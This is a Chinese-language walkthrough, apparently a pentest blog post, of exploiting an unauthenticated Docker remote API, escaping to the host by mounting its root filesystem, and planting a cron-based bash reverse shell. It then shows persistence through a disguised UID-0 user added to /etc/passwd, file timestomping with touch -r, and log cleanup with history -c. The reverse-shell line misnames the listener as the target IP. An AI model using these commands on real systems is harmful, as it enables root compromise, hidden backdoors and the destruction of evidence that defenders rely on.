docker未授权rce+docker逃逸复现
前言:这段时间跟着bnessy师傅一起打内网,跟着bnessy师傅也学到了很多有用的姿势,这里就来复现几个内网的漏洞(大佬轻喷)
1、老规矩,还是fscan扫到的漏洞
通过访问:http://xxxx:2375/version
如果能够访问,则漏洞存在
1.2访问:http://xxxx:2375/info
发现存在未授权页面
2、在kali上安装docker,可以获取目标机正在运行的docker镜像文件
命令如下
docker -H tcp://目标机ip:2375 images
3、随便选一个目标机器有的容器,以/bin/bash的方式进入该容器
命令如下:
/:/mnt:意思是将目标机的根目录挂载到该容器的/mnt目录下,所以我们要查询目标机的文件的话,最前面应该跟个/mnt的目录, #如要查询目标机的passwd,则目录为:/mnt/etc/passwd
docker -H tcp://目标机ip:2375 run -it -v /:/mnt 镜像id /bin/bash
3.1、进入/mnt目录下即可逃逸到宿主机
4、利用计划任务,写反弹shell
命令如下:
echo '* * * * * /bin/bash -i >& /dev/tcp/目标机ip/监听端口 0>&1' >> /mnt/var/spool/cron/root
注意:在centos中,计划任务的默认路径是:/var/spool/cron/
但在ubuntu系统中,计划任务默认是:/var/spool/cron/crontabs/
/mnt/var/spool/cron/root
这里的root是指计划任务以什么用户去执行,这里用root,反弹回来的shell也是root权限
这里shell反弹回来大概要等一分钟左右
5、权限维持
该系统为linux,所以权限维持的思路如下:
-
查看当前有哪些用户,新建个类似的用户名进行混淆
可以看见有个games的用户,我们这里可以创建个game的用户来进行混淆
步骤如下:
-
修改/etc/passwd
-
增加game用户
5.1查看/etc/passwd,将root这一行先copy出来
/etc/passwd 各部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
root:x:0:0:root:/root:/bin/bash
5.2使用perl -le 'print crypt("Jilei","salt")'生成一个密码,Jilei为密码:
perl -le 'print crypt("Jilei","salt")'
这里我用的xiaosedi为密码
将生成出来的密码copy出来,替换掉刚刚copy的root那一串
将改变后的这一串添加到/etc/passwd中
添加成功
用vim把刚刚增加的game用户换到games的下一行去进行隐藏
5.3利用touch命令将/etc/passwd文件的修改时间改成跟/etc/shadow一样
touch -r /etc/shadow /etc/passwd
6、痕迹清除
-
将我们的定时任务给清除掉
-
清除历史命令
history -c